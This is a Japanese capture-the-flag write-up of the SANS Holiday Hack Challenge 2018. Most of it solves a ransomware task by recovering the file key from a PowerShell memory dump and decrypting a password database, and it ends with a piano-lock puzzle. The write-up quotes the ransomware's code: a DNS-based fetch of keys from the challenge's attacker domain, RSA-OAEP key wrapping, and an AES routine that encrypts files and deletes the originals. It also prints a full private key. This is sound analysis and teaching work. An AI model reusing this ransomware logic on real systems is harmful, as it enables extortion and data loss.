ランサムウェア実行時のpowershellのメモリダンプファイルが与えられる。

とりあえず、ソースコードを読み進める。

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
  • $p_kは、犯人のC2サーバから取得する公開鍵
  • $b_kは、ファイル暗号化に使用するランダムの16バイトの共通鍵
  • $p_k_e_kは、$b_k$p_kで暗号化したデータ
  • $h_k$k_hおよび$c_idは、身代金の支払い画面で使用するパラメータのため割愛

$p_k_e_kを復号できれば、$b_kが判明しファイルを復号できる。
しかし、$p_kに対応する秘密鍵が必要で、犯人しか持っていないはず。

7365727665722E637274がASCII文字っぽいことに気付く。

>>> import binascii
>>> binascii.unhexlify(b'7365727665722E637274')
b'server.crt'

server.crt!
ちょ、そのまんま!!!

秘密鍵server.keyを同じ要領で取得できるかも。

>>> binascii.hexlify('server.key'.encode("utf-8"))
b'7365727665722e6b6579'

公開鍵$p_kの取得と同じくg_o_dns関数を使う。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> $(g_o_dns("7365727665722e6b6579"));
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

ビンゴ!

あとは$p_k_e_kがわかれば、共通鍵$b_kを復号して、ファイル復号できそうだ。
$p_k_e_kを得るため、メモリダンプを解析する。以下のツールを使った。
github.com

Power Dumpは、文字列長や文字種を条件にメモリ内の変数の値を検索できる。
まずは$p_k_e_kがどういったフォーマットか確認する。

function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_};
    return $outa
};

function B2H {
    param($DEC); $tmp = '';
    ForEach ($value in $DEC) {
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1) {
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};

function p_k_e($key_bytes, [byte[]]$pub_bytes) {
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
    $cert.Import($pub_bytes);
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
    return $(B2H $encKey)
};

function g_o_dns($f) {
    $h = '';
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10) - 1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    };
    return (H2A $h)
};

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
($p_k_e_k)

何度か実行する。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
3642154ea22d0ca93c166cc22989cfc3e6bdc60e253732d0107750e394208fae51b568a1077ac4542ccb7344f414f60be1e686178e6f4b1920d7fa711af59fef42ba6fe9fc38b0170ca042a92ba89bce145ca27c332bffe5be13d8730cae68846530c7728cc1b8e85da66b4b91943fd080c8ec219a2909b85e59aaa55e6bbdcef3df72012f568f0c6eae3fd32ef5bfc3e8c0843876b6b385333684cc3bda166da0b8a6791df7905900839670f6680e5248ed231f43c760a88f585a32f1fbff941dde558504a97e08d5826d3cd46a1b285897730c652f9bbc968be45718a113258b97dfcfdec1d7d777e9eee8f0f3f91cbef8bdcc58e39647dbbdce60ffedab77
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
14399dc6a9dea0d9b1fc337c05551336bee6e58ab79b7e03f152de1072bf1db1e45037ad18cdd56c4ec88ff83644d0991fa70bff32df07be221afcd41fc5d299d561194106eebec8fd5fc755c8bd0aa50e89980a975180cb10412df35427f9d5a79e615b998ac0c2562e35ed7c9741b01c49278cb19dc27fe11144a28b7525facca69741759d1617169041a729c06e8927fe63a7f3b211cbe5e44020ab1eb59badee000b2a6a8b076668eb511cd6200c0315b7614ec024bf89a01ab60562f08064db7ef5889758b0fc41b96b25935476da8140427e3ca79acd5b724f77c69d2936193b81876691c0f6fd4dcf88d9373b181013e2e8de7c0ac8abfa1642645e67
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
2445dca52cc037d2dea5e85a6854285d4090e08cc3064c5aa3ed150d29f313e6806904c2ce8bfad14b4b825cef4b63c9e4143c7ba1613bf6098c8c1e91e862f1feb3f291eb65450b531672c6be6bc75bdf28a538917ee2b775df0661f303bc3598db2fb32b296af1b7b3535d62b518f5d1910f536c2e1bed716b961b4b8db5bfb2100887afa7697cd14edf8ac08fb3fa02407392397b05042c79d899f538982a6167fd8bcb76b26e3cc6b8687391f209fa64d6749dfc941fb4c08341b955a1874601da91fdfab450d08a042c4974b366c8692467636bc374dcff6d8a832ba182b19200e968e8552162a13a0acbb41adeb71024cad5522e9f380e037a4eed9a74

512文字の16進数文字列ということがわかったので、Power Dumpを実行して$p_k_e_k変数の値を特定する。

root@kali:~/Contest/HolidayChallenge2018# python power_dump.py powershell.exe_181109_104716.dmp 
==============================
 |  __ \                      
 | |__) |____      _____ _ __ 
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |   
 |_|   \___/ \_/\_/ \___|_|   
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___)) 
  _____  _    _ __  __ _____  
 |  __ \| |  | |  \/  |  __ \ 
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/ 
 | |__| | |__| | |  | | |     
 |_____/ \____/|_|  |_|_|   
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation  
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files   
B       |                    | back to menu 
============= Loaded File: =================
 
============================================
: ld powershell.exe_181109_104716.dmp


============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation  
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files   
B       |                    | back to menu 
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: B


============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2
[i] Please wait, processing memory dump...
[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
: 
Successfully Processed Memory Dump!

Press Enter to Continue...


============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4

[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: len == 512

================ Filters ================
1| LENGTH  len(variable_values) == 512

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print 1
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Press Enter to Continue...

512文字を条件にした段階で一意に特定できた。

$p_k_e_kは、

3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

のようだ。

このままでは16進数表現の文字列であるためバイナリ化する。xxdを使ってもCyberChefを使ってもよい。慣れた方法でどうぞ。

root@kali:~/Contest/HolidayChallenge2018# hexdump -C p_k_e_k.key
00000000  3c f9 03 52 2e 1a 39 66  80 5b 50 e7 f7 dd 51 dc  |<..R..9f.[P...Q.|
00000010  79 69 c7 3c fb 16 63 a7  5a 56 eb f4 aa 4a 18 49  |yi.<..c.ZV...J.I|
00000020  d1 94 90 05 43 7d c4 4b  84 64 dc a0 56 80 d5 31  |....C}.K.d..V..1|
00000030  b7 a9 71 67 2d 87 b2 4b  7a 6d 67 2d 1d 81 1e 6c  |..qg-..Kzmg-...l|
00000040  34 f4 2b 2f 8d 7f 2b 43  aa b6 98 b5 37 d2 df 2f  |4.+/..+C....7../|
00000050  40 1c 2a 09 fb e2 4c 58  33 d2 c5 86 11 39 c4 b4  |@.*...LX3....9..|
00000060  d3 14 7a bb 55 e6 71 d0  ca c7 09 d1 cf e8 68 60  |..z.U.q.......h`|
00000070  b6 41 7b f0 19 78 99 50  d0 bf 8d 83 21 8a 56 e6  |.A{..x.P....!.V.|
00000080  93 09 a2 bb 17 dc ed e7  ab ff fd 06 5e e0 49 1b  |............^.I.|
00000090  37 9b e4 40 29 ca 43 21  e6 04 07 d4 4e 6e 38 16  |7..@).C!....Nn8.|
000000a0  91 da e5 e5 51 cb 23 54  72 7a c2 57 d9 77 72 21  |....Q.#Trz.W.wr!|
000000b0  88 a9 46 c7 5a 29 5e 71  4b 66 81 09 d7 5c 00 10  |..F.Z)^qKf...\..|
000000c0  0b 94 86 16 78 ea 16 f8  b7 9b 75 6e 45 77 6d 29  |....x.....unEwm)|
000000d0  26 8a f1 72 0b c4 99 95  21 7d 81 4f fd 1e 4b 6e  |&..r....!}.O..Kn|
000000e0  dc e9 ee 57 97 6f 9a b3  98 f9 a8 47 9c f9 11 d7  |...W.o.....G....|
000000f0  d4 76 81 a7 71 52 56 39  06 a2 c2 9c 6d 12 f9 71  |.v..qRV9....m..q|
00000100

opensslコマンドを使用して$b_kを復号する。

暗号化処理である$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);の第2引数が$trueであるため、OAEP パディングを使用している。
docs.microsoft.com

このため、opensslコマンドに-oaepオプションが必要である。 www.openssl.org

root@kali:~/Contest/HolidayChallenge2018# openssl rsautl -decrypt -in "p_k_e_k.key" -inkey "server.key" -oaep > b_k.key
root@kali:~/Contest/HolidayChallenge2018# hexdump -C b_k.key 
00000000  fb cf c1 21 91 5d 99 cc  20 a3 d3 d5 d8 4f 83 08  |...!.].. ....O..|
00000010

ファイル暗号化の共通鍵がfbcfc121915d99cc20a3d3d5d84f8308であることがわかった。
2次検体のソースコードから抜粋して、alabaster_passwords.elfdb.wannacookieを復号するソースコードを書く。

function e_d_file($key, $File, $enc_it) {
    [byte[]]$key = $key;
    $Suffix = "`.wannacookie";
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
    [System.Int32]$KeySize = $key.Length * 8;
    $AESP = New-Object 'System.Security.Cryptography.AesManaged';
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESP.BlockSize = 128;
    $AESP.KeySize = $KeySize;
    $AESP.Key = $key;
    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
    if ($enc_it) {
        $DestFile = $File + $Suffix
    } else {
        $DestFile = ($File -replace $Suffix)
    };
    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
    if ($enc_it) {
        $AESP.GenerateIV();
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
        $Transform = $AESP.CreateEncryptor()
    } else {
        [Byte[]]$LenIV = New-Object Byte[] 4;
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($LenIV, 0, 3) | Out-Null;
        [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
        [Byte[]]$IV = New-Object Byte[] $LIV;
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($IV, 0, $LIV) | Out-Null;
        $AESP.IV = $IV; $Transform = $AESP.CreateDecryptor()
    };
    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
    [Int]$Count = 0; [Int]$BlockSzBts = $AESP.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    Do {
        $Count = $FileSR.Read($Data, 0, $BlockSzBts);
        $CryptoS.Write($Data, 0, $Count)
    } While ($Count -gt 0);
    $CryptoS.FlushFinalBlock();
    $CryptoS.Close();
    $FileSR.Close();
    $FileSW.Close();
    Clear-variable -Name "key";
    Remove-Item $File
}

function H2B {
    param($HX); $HX = $HX -split '(..)' | ? { $_ };
    ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)}
}; 

e_d_file $(H2B "fbcfc121915d99cc20a3d3d5d84f8308")  "alabaster_passwords.elfdb.wannacookie" $false

alabaster_passwords.elfdb.wannacookieを同じディレクトリに置いて実行する。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\decrypt.ps1
PS D:\Develop\CTF\Contest\HolidayChallenge2018>

復号できた!

root@kali:~/Contest/HolidayChallenge2018# file alabaster_passwords.elfdb 
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002

SQLiteのファイルであるため、DB Browser for SQLiteを使用して内容を確認する。
sqlitebrowser.org

f:id:graneed:20190114180313p:plain

ED#ED#EED#EF#G#F#G#ABA#BA#Bが答え。

長い道のりだった・・・。

10) Who Is Behind It All?

ピアノ型のロックを解除する問題。

8で取得したPDFファイルのキー位置を参考に、9-4で取得したE D# E D# E E D# E F# G# F# G# A B A# B A# Bを入力する。

f:id:graneed:20190114182616p:plain

え?間違い?

ただ、適当に入力するとこのメッセージさえ表示されない。開発者ツールでNetworkを観察すると、/checkpass.phpから以下のデータを受け取っていることがわかる。

{"success":false,"message":"offkey"}

キーを下げろとのこと。D C# D C# D D C# D E F# E F# G A G# A G# Aを入力する。
f:id:graneed:20190114183450p:plain

開いた!

最後の部屋には、サンタや、途中で雪まみれになっていたハンズがいた。
あまりストーリーを追いかけていなかったが、サンタが仕掛けたドッキリのようなもの? f:id:graneed:20190114124001p:plain

ということで、Santaが答え。

所感

通常のCTFとは毛色の異なる問題が多かったが、問題のバリエーションが豊かで非常に楽しんで解くことができた。
(この3連休の半分がつぶれた気がするが、悔いはない。)

個人的にベスト問題は「8) Network Traffic Forensics」。HTTP2の勉強にもなった。

BloodHoundを使うきっかけになった「5) AD Privilege Discovery」も良かった。 惜しむらくは、あまり自分が理解しきれていないことだが。

また、サブ問題やSnortルールの問題など、ターミナルを使う問題が数多くあった。アクセスの度に自分用の環境が割り当てられているようで、大量の参加者がいる中、このようなインフラを整えるとはさすがSANSだなと感じた。(ただ、開催直後は頻繁に切れていた気もする。)

来年も是非参加したい。来年はもう少し早めに解いて英語版writeupを書いてエントリーしたい。

おまけ

城門の前の右下から隠し通路があり、その先に城を一望できる展望台エリアがあった。

見つけた時は、何か隠し要素があるものかとワクテカしていたが、最後まで何もなかった。なんだこれー。

f:id:graneed:20190114124027p:plain